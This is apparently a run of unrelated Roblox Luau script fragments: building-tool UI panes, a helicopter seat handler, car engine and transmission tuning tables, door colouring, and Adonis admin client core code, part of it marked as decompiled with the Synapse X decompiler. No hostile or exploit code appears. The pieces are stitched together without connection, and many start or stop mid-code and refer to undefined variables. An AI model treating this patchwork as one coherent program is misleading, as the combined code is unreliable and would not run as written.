{ Corners = new('UICorner', { CornerRadius = UDim.new(0, 3); }); SizeConstraint = new('UISizeConstraint', { MinSize = Vector2.new(70, 0); }); Layout = new('UIGridLayout', { CellPadding = UDim2.new(0, 0, 0, 0); CellSize = UDim2.new(0, 35, 0, 35); FillDirection = Enum.FillDirection.Horizontal; FillDirectionMaxCells = 0; HorizontalAlignment = Enum.HorizontalAlignment.Left; VerticalAlignment = Enum.VerticalAlignment.Top; SortOrder = Enum.SortOrder.LayoutOrder; StartCorner = Enum.StartCorner.TopLeft; [Roact.Ref] = function (rbx) if rbx then self.SetPaneSize(UDim2.fromOffset(rbx.AbsoluteContentSize.X, rbx.AbsoluteContentSize.Y)) end end; [Roact.Change.AbsoluteContentSize] = function (rbx) self.SetPaneSize(UDim2.fromOffset(rbx.AbsoluteContentSize.X, rbx.AbsoluteContentSize.Y)) end; }); UndoButton = new(SelectionButton, { LayoutOrder = 0; IconAssetId = 'rbxassetid://141741408'; IsActive = self.state.CanUndo; OnActivated = self.props.Core.History.Undo; TooltipText = '<b>UNDO</b><br />Shift-Z'; }); RedoButton = new(SelectionButton, { LayoutOrder = 1; IconAssetId = 'rbxassetid://141741327'; IsActive = self.state.CanRedo; OnActivated = self.props.Core.History.Redo; TooltipText = '<b>REDO</b><br />Shift-Y'; }); DeleteButton = new(SelectionButton, { LayoutOrder = 2; IconAssetId = 'rbxassetid://141896298'; IsActive = not self.state.IsSelectionEmpty; OnActivated = self.props.Core.DeleteSelection; TooltipText = '<b>DELETE</b><br />Shift-X'; }); ExportButton = new(SelectionButton, { LayoutOrder = 3; IconAssetId = 'rbxassetid://141741337'; IsActive = not self.state.IsSelectionEmpty; OnActivated = self.props.Core.ExportSelection; TooltipText = '<b>EXPORT</b><br />Shift-P'; }); CloneButton = new(SelectionButton, { LayoutOrder = 4; IconAssetId = 'rbxassetid://142073926'; IsActive = not self.state.IsSelectionEmpty; OnActivated = self.props.Core.CloneSelection; TooltipText = '<b>CLONE</b><br />Shift-C'; }); ExplorerButton = new(SelectionButton, { LayoutOrder = 5; IconAssetId = 'rbxassetid://2326621485'; IsActive = self.state.IsExplorerOpen; OnActivated = self.props.Core.ToggleExplorer; TooltipText = '<b>EXPLORER</b><br />Shift-H'; }); }) end return SelectionPane
--// Connections
L_1_.ChildAdded:connect(function(L_38_arg1) if L_38_arg1:IsA('Weld') then local L_39_ = L_38_arg1.Part1.Parent local L_40_ = game.Players:GetPlayerFromCharacter(L_39_) if not L_8_.isGroupOnly or L_8_.isGroupOnly and L_40_:GetRankInGroup(L_8_.GroupID) >= L_8_.GroupRank then L_7_.Value = L_40_ L_2_:WaitForChild('RegenButton'):WaitForChild('Regen'):WaitForChild('CanRegen').Value = false local L_41_ = L_1_.Parent.Engine:FindFirstChild('BodyGyro') or Instance.new('BodyGyro', L_1_.Parent:WaitForChild('Engine')) L_41_.CFrame = L_1_.Parent:WaitForChild('Engine').CFrame L_41_.D = 500 L_41_.P = 3000 L_41_.MaxTorque = Vector3.new(math.huge, math.huge, math.huge) local L_42_ = L_1_.Parent.Engine:FindFirstChild('BodyPosition') or Instance.new('BodyPosition', L_1_.Parent:WaitForChild('Engine')) L_42_.D = 1250 L_42_.P = 10000 L_42_.MaxForce = Vector3.new(math.huge, math.huge, math.huge) L_42_.Position = L_1_.Parent:WaitForChild('Engine').Position if L_40_ then local L_43_ = script:WaitForChild('Heli_Control'):clone() L_43_.Parent = L_40_.PlayerGui L_43_:WaitForChild('EnginePart').Value = L_1_.Parent:WaitForChild('Engine') L_43_.Disabled = false end end; end end) L_1_.ChildRemoved:connect(function(L_44_arg1) if L_44_arg1:IsA('Weld') then L_2_:WaitForChild('RegenButton'):WaitForChild('Regen'):WaitForChild('CanRegen').Value = true end end)
-- Player Variables
local player = Players.LocalPlayer local character = player.Character or player.CharacterAdded:wait() local humanoid = character:WaitForChild("Humanoid")
-- Create class
local UIController = {} UIController.__index = UIController function UIController.new(Tool) local self = { Tool = Tool; -- State UI = nil; Maid = Maid.new() } return setmetatable(self, UIController) end function UIController:ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if self.UI then self.UI.Visible = true self.Maid.UIUpdater = Support.Loop(0.1, self.UpdateUI, self) self:AttachDragListener() self:AttachAxesListener() return end -- Create the UI self.UI = Core.Tool.Interfaces.BTMoveToolGUI:Clone() self.UI.Parent = Core.UI self.UI.Visible = true -- Add functionality to the axes option switch local AxesSwitch = self.UI.AxesOption AxesSwitch.Global.Button.MouseButton1Down:Connect(function () self.Tool:SetAxes('Global') end) AxesSwitch.Local.Button.MouseButton1Down:Connect(function () self.Tool:SetAxes('Local') end) AxesSwitch.Last.Button.MouseButton1Down:Connect(function () self.Tool:SetAxes('Last') end) -- Add functionality to the increment input local IncrementInput = self.UI.IncrementOption.Increment.TextBox IncrementInput.FocusLost:Connect(function (EnterPressed) self.Tool.Increment = tonumber(IncrementInput.Text) or self.Tool.Increment IncrementInput.Text = Support.Round(self.Tool.Increment, 4) end) -- Add functionality to the position inputs local XInput = self.UI.Info.Center.X.TextBox local YInput = self.UI.Info.Center.Y.TextBox local ZInput = self.UI.Info.Center.Z.TextBox XInput.FocusLost:Connect(function (EnterPressed) local NewPosition = tonumber(XInput.Text) if NewPosition then self.Tool:SetAxisPosition('X', NewPosition) end end) YInput.FocusLost:Connect(function (EnterPressed) local NewPosition = tonumber(YInput.Text) if NewPosition then self.Tool:SetAxisPosition('Y', NewPosition) end end) ZInput.FocusLost:Connect(function (EnterPressed) local NewPosition = tonumber(ZInput.Text) if NewPosition then self.Tool:SetAxisPosition('Z', NewPosition) end end) -- Hook up manual triggering local SignatureButton = self.UI:WaitForChild('Title'):WaitForChild('Signature') ListenForManualWindowTrigger(self.Tool.ManualText, self.Tool.Color.Color, SignatureButton) -- Update the UI every 0.1 seconds self.Maid.UIUpdater = Support.Loop(0.1, self.UpdateUI, self) -- Attach state listeners self:AttachDragListener() self:AttachAxesListener() end function UIController:AttachDragListener() self.Maid.DragListener = self.Tool.DragChanged:Connect(function (Distance) -- Update the "distance moved" indicator self.UI.Changes.Text.Text = 'moved ' .. math.abs(Distance) .. ' studs' end) end function UIController:AttachAxesListener() self.Maid.AxesListener = self.Tool.AxesChanged:Connect(function (AxesMode) -- Update the UI switch Core.ToggleSwitch(AxesMode, self.UI.AxesOption) end) end function UIController:HideUI() -- Hides the tool UI -- Make sure there's a UI if not self.UI then return end -- Hide the UI self.UI.Visible = false -- Stop updating the UI self.Maid:Destroy() end function UIController:UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not self.UI then return end -- Only show and calculate selection info if it's not empty if #Selection.Parts == 0 then self.UI.Info.Visible = false self.UI.Size = UDim2.new(0, 245, 0, 90) return else self.UI.Info.Visible = true self.UI.Size = UDim2.new(0, 245, 0, 150) end --------------------------------------------- -- Update the position information indicators --------------------------------------------- -- Identify common positions across axes local XVariations, YVariations, ZVariations = {}, {}, {} for _, Part in pairs(Selection.Parts) do table.insert(XVariations, Support.Round(Part.Position.X, 3)) table.insert(YVariations, Support.Round(Part.Position.Y, 3)) table.insert(ZVariations, Support.Round(Part.Position.Z, 3)) end local CommonX = Support.IdentifyCommonItem(XVariations) local CommonY = Support.IdentifyCommonItem(YVariations) local CommonZ = Support.IdentifyCommonItem(ZVariations) -- Shortcuts to indicators local XIndicator = self.UI.Info.Center.X.TextBox local YIndicator = self.UI.Info.Center.Y.TextBox local ZIndicator = self.UI.Info.Center.Z.TextBox -- Update each indicator if it's not currently being edited if not XIndicator:IsFocused() then XIndicator.Text = CommonX or '*' end if not YIndicator:IsFocused() then YIndicator.Text = CommonY or '*' end if not ZIndicator:IsFocused() then ZIndicator.Text = CommonZ or '*' end end function UIController:FocusIncrementInput() self.UI.IncrementOption.Increment.TextBox:CaptureFocus() end return UIController
--------LEFT DOOR 4--------
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(102)
--For running in command bar
local function setLayeredClothingOrder(obj) if obj:IsA("WrapLayer") then if obj.Order ~= 1 then obj.Order = 1 print(obj.Name) end end for _, child in ipairs(obj:GetChildren()) do setLayeredClothingOrder(child) end end setLayeredClothingOrder(game:GetService("ReplicatedStorage"))
----------------- --| Constants |-- -----------------
local BLAST_RADIUS = 35 -- Blast radius of the explosion local BLAST_DAMAGE = 1000 -- Amount of damage done to players local BLAST_FORCE = 1000 -- Amount of force applied to parts local idealVelocity local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these
-- Get references to the DockShelf and its children
local fldr = script.Parent.Parent.Parent.CreateFrame local createButton = fldr.Parent.Create local btn = script.Parent local function toggleWindow() -- Close the window by tweening back to the button position and size fldr:TweenSizeAndPosition( UDim2.new(1, 0, 0.022, 0), UDim2.new(0.0,0,0.978,0), 'Out', 'Quad', 0.4, false, function() fldr.Visible = false createButton.Visible = true end ) end
--[[Engine]]
--Torque Curve Tune.Horsepower = 250 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--//Controller//--
game.Players.PlayerAdded:Connect(function(Player) local Leaderboard = Instance.new("Folder") Leaderboard.Name = "leaderstats" Leaderboard.Parent = Player local Currency = Instance.new("IntValue") Currency.Name = Configuration.CurrencyName.Value Currency.Parent = Leaderboard end)
--[[Status Vars]]
local _IsOn = _Tune.AutoStart if _Tune.AutoStart then script.Parent.IsOn.Value=true end local _GSteerT=0 local _GSteerC=0 local _GThrot=0 local _GBrake=0 local _ClutchOn = true local _ClPressing = false local _RPM = 0 local _HP = 0 local _OutTorque = 0 local _CGear = 0 local _PGear = _CGear local _TMode = _Tune.TransModes[1] local _MSteer = false local _SteerL = false local _SteerR = false local _PBrake = false local _TCS = _Tune.TCSEnabled local _TCSActive = false local _ABS = _Tune.ABSEnabled local _ABSActive = false local FlipWait=tick() local FlipDB=false local _InControls = false
-- ================================================================================ -- VARIABLES -- ================================================================================ -- ScreenGui containing the game
local CountdownGui = script.Parent local TimerFrame = CountdownGui:WaitForChild("TimerFrame") local TimerBar = TimerFrame:WaitForChild("TimerBar") local Timer = TimerBar:WaitForChild("Timer")
-- made by Weeve. for all of you lamo scripters out there, can you at least leave my name here? -- don't edit anything here
seat = script.Parent function onChildAdded(part) script.Parent.EngineStart:Play() script.Parent.EngineStop:Stop() wait(2.675) script.Parent.EngineSound:Play() end function onChildRemoved(part) script.Parent.EngineStop:Play() script.Parent.EngineSound:Stop() script.Parent.EngineStart:Stop() end seat.ChildAdded:connect(onChildAdded) seat.ChildRemoved:connect(onChildRemoved)
--Version 2 1.02 I fixed some problems caused by the updates.
adminlist = {""}--Add in the names of the people you want to be able to use the command script here.
-----------------------------------------
puff = Instance.new("Part") script.Parent.Anchored=true puff.CanCollide = false puff.Anchored = true puff.Name = "whoosh" puff.Transparency = 0 puff.BrickColor = BrickColor.new("Pearl") puff.formFactor = "Custom" puff.TopSurface = 0 puff.BottomSurface = 0 puff.Size = Vector3.new(1,1,1) puff.Material = Enum.Material.SmoothPlastic puff.CastShadow = false script.Mesh:clone().Parent = puff local erase = script.tweener:Clone() erase.Parent = puff erase.Disabled = false puff.Parent = game.Workspace puff.Position = script.Parent.Position puff.CastShadow = false puff = Instance.new("Part") script.Parent.Anchored=true puff.CanCollide = false puff.Anchored = true puff.Name = "whoosh" puff.Transparency = 0 puff.BrickColor = BrickColor.new("Pearl") puff.formFactor = "Custom" puff.TopSurface = 0 puff.BottomSurface = 0 puff.Size = Vector3.new(1,1,1) puff.Material = Enum.Material.Neon puff.CastShadow = false script.Mesh:clone().Parent = puff local erase = script.tweener2:Clone() erase.Parent = puff erase.Disabled = false puff.Parent = game.Workspace puff.Position = script.Parent.Position puff.CastShadow = false puff = Instance.new("Part") script.Parent.Anchored=true puff.CanCollide = false puff.Anchored = true puff.Name = "whoosh" puff.Transparency = 0 puff.BrickColor = BrickColor.new("Pearl") puff.formFactor = "Custom" puff.TopSurface = 0 puff.BottomSurface = 0 puff.Size = Vector3.new(1,1,1) puff.Material = Enum.Material.SmoothPlastic puff.CastShadow = false script.Mesh:clone().Parent = puff local erase = script.tweener3:Clone() erase.Parent = puff erase.Disabled = false puff.Parent = game.Workspace puff.Position = script.Parent.Position puff.CastShadow = false
--[[Wheel Alignment]] --[Don't physically apply alignment to wheels] --[Values are in degrees]
Tune.FCamber = -12 Tune.RCamber = -7 Tune.FToe = 0 Tune.RToe = 0
-- Decompiled with the Synapse X Luau decompiler.
return { Name = "thru", Aliases = { "t", "through" }, Description = "Teleports you through whatever your mouse is hovering over, placing you equidistantly from the wall.", Group = "DefaultDebug", Args = { { Type = "number", Name = "Extra distance", Description = "Go through the wall an additional X studs.", Default = 0 } }, ClientRun = function(p1, p2) local l__Character__1 = p1.Executor.Character; if not l__Character__1 or not l__Character__1:FindFirstChild("HumanoidRootPart") then return "You don't have a character."; end; local l__Position__2 = l__Character__1.HumanoidRootPart.Position; local v3 = p1.Executor:GetMouse().Hit.p - l__Position__2; l__Character__1:MoveTo(v3 * 2 + v3.unit * p2 + l__Position__2); return "Blinked!"; end };
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; cPcall = nil; Pcall = nil; Routine = nil; GetEnv = nil; origEnv = nil; logError = nil; return function() local u1 = nil; local l__client__2 = client; local u3 = nil; local u4 = nil; local u5 = nil; local u6 = nil; local u7 = nil; local u8 = nil; getfenv().client = nil; getfenv().service = nil; getfenv().script = nil; local v1 = { Init = function() u1 = l__client__2.UI; u3 = l__client__2.Anti; u4 = l__client__2.Core; u5 = l__client__2.Variables; u6 = l__client__2.Functions; u7 = l__client__2.Process; u8 = l__client__2.Remote; end, Name = script.Name, Special = script.Name, MakeGui = l__client__2.UI.Make, GetGui = l__client__2.UI.Get, RemoveGui = l__client__2.UI.Remove, ScriptCache = {} }; local l__os__9 = os; local l__next__10 = next; local l__service__11 = service; local l__string__12 = string; local l__table__13 = table; local l__select__14 = select; local l__wait__15 = wait; function v1.GetEvent() if u4.RemoteEvent then u4.RemoteEvent.Event:Disconnect(); u4.RemoteEvent.Security:Disconnect(); u4.RemoteEvent = nil; end; u4.RemoteEvent = {}; local v2 = nil; local v3 = 1; local v4 = 0; local v5 = l__os__9.time(); local u16 = {}; local u17 = 0; local u18 = nil; local function u19(p1) if p1 then local v6 = p1:FindFirstChildOfClass("RemoteFunction"); if not v6 then l__client__2.Kill("RemoteFunction not found"); return; end; u4.RemoteEvent.Object = p1; u4.RemoteEvent.Function = v6; v6.OnClientInvoke = u7.Remote; u4.RemoteEvent.FireServer = p1.FireServer; u4.RemoteEvent.Event = p1.OnClientEvent:Connect(u7.Remote); u4.RemoteEvent.Security = p1.Changed:Connect(function(p2) if u4.RemoteEvent.Function then u4.RemoteEvent.Function.OnClientInvoke = u7.Remote; end; if p2 == "RobloxLocked" and u3.RLocked(p1) then l__client__2.Kill("RemoteEvent Locked"); return; end; if not p1 or not p1.Parent then u4.GetEvent(); end; end); v6.Changed:Connect(function() v6.OnClientInvoke = u7.Remote; end); if u4.Key then return; end; else l__client__2.Kill("RemoteEvent not found"); return; end; u8.Fire(l__client__2.DepsName .. "GET_KEY"); end; while true do if v4 < l__os__9.time() then v4 = l__os__9.time(); v3 = v3 + 1; if v3 % 10 == 0 or not v2 then v2 = true; local v7 = l__service__11.JointsService:FindFirstChild(l__client__2.RemoteName); if v7 then u18 = v7; u19(v7); end; end; end; if u18 then break; end; if not l__wait__15(0.01) then break; end; end; end; local l__require__20 = require; local l__setfenv__21 = setfenv; local l__getfenv__22 = getfenv; function v1.LoadPlugin(p3) local v8 = l__require__20(p3); cPcall((l__setfenv__21(v8, GetEnv(l__getfenv__22(v8))))); end; function v1.LoadBytecode(p4, p5) return l__require__20(l__client__2.Deps.Rerubi)(p4, p5); end; function v1.LoadCode(p6, p7) return u4.LoadBytecode(p6, p7); end; local l__tick__23 = tick; local l__math__24 = math; function v1.CheckClient() if l__tick__23() - u4.LastUpdate >= 55 then l__wait__15(l__math__24.random()); local v9 = u8.Send("ClientCheck", { Sent = 0, Received = u8.Received }, l__client__2.DepsName, (l__math__24.random())); end; end; local l___G__25 = _G; local l__setmetatable__26 = setmetatable; local l__type__27 = type; local l__print__28 = print; local l__error__29 = error; local l__pairs__30 = pairs; local l__warn__31 = warn; local l__rawset__32 = rawset; local l__rawget__33 = rawget; local l__tostring__34 = tostring; local l__getmetatable__35 = getmetatable; function v1.StartAPI() local l__MetaFunc__10 = l__service__11.MetaFunc; local l__ReadOnly__11 = l__service__11.ReadOnly; local l__ReadOnly__12 = l__service__11.ReadOnly; local v13 = {}; l__setfenv__21(1, l__setmetatable__26({}, { __metatable = l__getmetatable__35(l__getfenv__22()) })); local v14 = {}; local v15 = {}; function v15.Test() l__print__28("We ran the api specific stuff"); end; v14.API_Specific = v15; v14.Service = nil; local v16 = { Access = l__ReadOnly__12({}, nil, nil, true) }; local v17 = {}; local l__ScriptCache__36 = u4.ScriptCache; local l__UnWrap__37 = l__service__11.UnWrap; local l__Get__38 = u8.Get; local l__Rerubi__39 = l__client__2.Deps.Rerubi; v17.ExecutePermission = l__MetaFunc__10(function(p8) local v18 = nil; for v19, v20 in l__next__10, l__ScriptCache__36 do if l__UnWrap__37(v20.Script) == l__getfenv__22(2).script then v18 = v20; end; end; if v18 and v18.noCache ~= true and (not v18.runLimit or v18.runLimit and v18.Executions <= v18.runLimit) then v18.Executions = v18.Executions + 1; return v18.Source, v18.Loadstring; end; local v21 = l__Get__38("ExecutePermission", l__UnWrap__37(l__getfenv__22(3).script), p8, true); if not v21 or not v21.Source then return; end; if not v18 then local v22 = l__require__20(l__Rerubi__39:Clone()); l__table__13.insert(l__ScriptCache__36, { Script = l__getfenv__22(2).script, Source = v21.Source, Loadstring = v22, noCache = v21.noCache, runLimit = v21.runLimit, Executions = v21.Executions }); else v22 = v18.Loadstring; v18.Source = v21.Source; end; return v21.Source, v22; end); v17.ReportLBI = l__MetaFunc__10(function(p9, p10) if p10 ~= "Local" then return; end; return true; end); v16.Scripts = l__ReadOnly__12(v17, nil, nil, true); local v23 = {}; local l__G_API__40 = l__client__2.G_API; local l__Allowed_API_Calls__41 = l__client__2.Allowed_API_Calls; function v23.__index(p11, p12) if p12 == "Scripts" then return v16.Scripts; end; if not l__G_API__40 or l__Allowed_API_Calls__41.Client ~= true then l__error__29("_G API is disabled"); return; end; if l__type__27(v16[p12]) ~= "function" then return v16[p12]; end; return l__MetaFunc__10(v16[p12]); end; function v23.__newindex(p13, p14, p15) l__error__29("Read-only"); end; v23.__metatable = "API"; AdonisGTable = l__service__11.NewProxy(v23); if not l___G__25.Adonis then l__rawset__32(l___G__25, "Adonis", AdonisGTable); l__service__11.StartLoop("APICheck", 1, function() l__rawset__32(l___G__25, "Adonis", AdonisGTable); end, true); end; end; l__client__2.Core = v1; end;
--------| Variables |--------
local archive = {}
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.7 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 2.6 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 1.8 , --[[ 3 ]] 1.3 , --[[ 4 ]] 1 , --[[ 5 ]] .8 , --[[ 6 ]] .6 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- Set defaults
TextLabel.defaultProps = { BackgroundTransparency = 1, BorderSizePixel = 0, Size = UDim2.new(1, 0, 1, 0), TextSize = 16, Font = 'SourceSans', TextColor3 = Color3.new(0, 0, 0), TextXAlignment = 'Left' }
--// Core
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local script = script local service = Vargs.Service local client = Vargs.Client local Anti, Core, Functions, Process, Remote, UI, Variables local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables Functions = client.Functions; Process = client.Process; Remote = client.Remote; Core.Name = "\0" Core.Special = client.DepsName Core.MakeGui = UI.Make; Core.GetGui = UI.Get; Core.RemoveGui = UI.Remove; Core.Init = nil; end local function RunAfterPlugins(data) Core.GetEvent() Core.RunAfterPlugins = nil; end local function RunLast() --// API if service.NetworkClient then service.TrackTask("Thread: API Manager", Core.StartAPI) --service.Threads.RunTask("_G API Manager",client.Core.StartAPI) end --[[client = service.ReadOnly(client, { [client.Variables] = true; [client.Handlers] = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; HelpButtonImage = true; Finish_Loading = true; RemoteEvent = true; ScriptCache = true; Returns = true; PendingReturns = true; EncodeCache = true; DecodeCache = true; Received = true; Sent = true; Service = true; Holder = true; GUIs = true; LastUpdate = true; RateLimits = true; Init = true; RunLast = true; RunAfterInit = true; RunAfterLoaded = true; RunAfterPlugins = true; }, true)--]] Core.RunLast = nil end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.Core = { Init = Init; RunLast = RunLast; --RunAfterLoaded = RunAfterLoaded; RunAfterPlugins = RunAfterPlugins; Name = script.Name; Special = script.Name; ScriptCache = {}; GetEvent = function() if Core.RemoteEvent then log("Disconnect old RemoteEvent") for name,event in Core.RemoteEvent.Events do event:Disconnect() end Core.RemoteEvent = nil; end log("Getting RemoteEvent"); local eventData = {} local remoteParent = service.ReplicatedStorage; local event = remoteParent:WaitForChild(client.RemoteName, 300) if not event then Anti.Detected("Kick", "RemoteEvent Not Found"); else log("Getting RemoteFunction"); local rFunc = event:WaitForChild("__FUNCTION", 120); if not rFunc then Anti.Detected("Kick", "RemoteFunction Not Found"); else local events = {}; rFunc.OnClientInvoke = Process.Remote; eventData.Object = event; eventData.Function = rFunc; eventData.FireServer = event.FireServer; eventData.Events = events; events.ProcessRemote = event.OnClientEvent:Connect(Process.Remote) events.ParentChildRemoved = remoteParent.ChildRemoved:Connect(function(child) if (Core.RemoteEvent == eventData) and child == event and task.wait() then warn("::ADONIS:: REMOTE EVENT REMOVED? RE-GRABBING"); log("~! REMOTEEVENT WAS REMOVED?") Core.GetEvent(); end end) Core.RemoteEvent = eventData if not Core.Key then log("~! Getting key from server") Remote.Fire(client.DepsName.."GET_KEY") end end end end; LoadPlugin = function(plugin) local plug = require(plugin) local func = setfenv(plug,GetEnv(getfenv(plug))) cPcall(func) end; LoadBytecode = function(str, env) return require(client.Shared.FiOne)(str, env) end; LoadCode = function(str, env) return Core.LoadBytecode(str, env) end; StartAPI = function() local ScriptCache = Core.ScriptCache local FiOne = client.Shared.FiOne local Get = Remote.Get local GetFire = Remote.GetFire local G_API = client.G_API local Allowed_API_Calls = client.Allowed_API_Calls local NewProxy = service.NewProxy local MetaFunc = service.MetaFunc local ReadOnly = service.ReadOnly local StartLoop = service.StartLoop local ReadOnly = service.ReadOnly local UnWrap = service.UnWrap local service = nil local client = nil local _G = _G local setmetatable = setmetatable local type = type local print = print local error = error local pairs = pairs local warn = warn local next = next local table = table local rawset = rawset local rawget = rawget local getfenv = getfenv local setfenv = setfenv local require = require local tostring = tostring local client = client local Routine = Routine local cPcall = cPcall --// Get Settings local API_Special = { } setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())})) local API_Specific = { API_Specific = { Test = function() print("We ran the api specific stuff") end }; Service = service; } local API = { Access = ReadOnly({}, nil, nil, true); --[[ Access = service.MetaFunc(function(...) local args = {...} local key = args[1] local ind = args[2] local targ setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())})) if API_Specific[ind] then targ = API_Specific[ind] elseif client[ind] and client.Allowed_API_Calls[ind] then targ = client[ind] end if client.G_Access and key == client.G_Access_Key and targ and client.Allowed_API_Calls[ind] then if type(targ) == "table" then return service.NewProxy { __index = function(tab,inde) if targ[inde] ~= nil and API_Special[inde] == nil or API_Special[inde] == true then if targ[inde]~=nil and type(targ[inde]) == "table" and client.G_Access_Perms == "Read" then return service.ReadOnly(targ[inde]) else return targ[inde] end elseif API_Special[inde] == false then error("Access Denied: "..tostring(inde)) else error("Could not find "..tostring(inde)) end end; __newindex = function(tabl,inde,valu) error("Read-only") end; __metatable = true; } end else error("Incorrect key or G_Access is disabled") end end); --]] Scripts = ReadOnly({ ExecutePermission = (function(srcScript, code) local exists; for i,v in ScriptCache do if UnWrap(v.Script) == srcScript then exists = v end end if exists and exists.noCache ~= true and (not exists.runLimit or (exists.runLimit and exists.Executions <= exists.runLimit)) then exists.Executions = exists.Executions+1 return exists.Source, exists.Loadstring end local data = Get("ExecutePermission", srcScript, code, true) if data and data.Source then local module; if not exists then module = require(FiOne:Clone()) table.insert(ScriptCache,{ Script = srcScript; Source = data.Source; Loadstring = module; noCache = data.noCache; runLimit = data.runLimit; Executions = data.Executions; }) else module = exists.Loadstring exists.Source = data.Source end return data.Source, module end end); }, nil, nil, true); } local AdonisGTable = NewProxy({ __index = function(tab,ind) if ind == "Scripts" then return API.Scripts elseif G_API and Allowed_API_Calls.Client == true then if type(API[ind]) == "function" then return MetaFunc(API[ind]) else return API[ind] end else error("_G API is disabled") end end; __newindex = function() error("Read-only") end; __metatable = "API"; }) if not rawget(_G, "Adonis") then if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then rawset(_G, "Adonis", AdonisGTable) StartLoop("APICheck", 1, function() if rawget(_G, "Adonis") ~= AdonisGTable then if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then rawset(_G, "Adonis", AdonisGTable) else warn("ADONIS CRITICAL WARNING! MALICIOUS CODE IS TRYING TO CHANGE THE ADONIS _G API AND IT CAN'T BE SET BACK! PLEASE SHUTDOWN THE SERVER AND REMOVE THE MALICIOUS CODE IF POSSIBLE!") end end end, true) else warn("The _G table was locked and the Adonis _G API could not be loaded") end end end; }; end
--yep
local deb = false local info = TweenInfo.new(tweenTime, easingStyle, easingDirection, repeats, reverse, delayTime) local function tweenModel(model, CF) local CFrameValue = Instance.new("CFrameValue") CFrameValue.Value = model:GetPrimaryPartCFrame() CFrameValue:GetPropertyChangedSignal("Value"):Connect(function() model:SetPrimaryPartCFrame(CFrameValue.Value) end) local tween = tweenService:Create(CFrameValue, info, {Value = CF}) tween:Play() tween.Completed:Connect(function() CFrameValue:Destroy() script.Disabled=true end) end wait(0) tweenModel(Model, goal1.CFrame)
-- Configurable variables
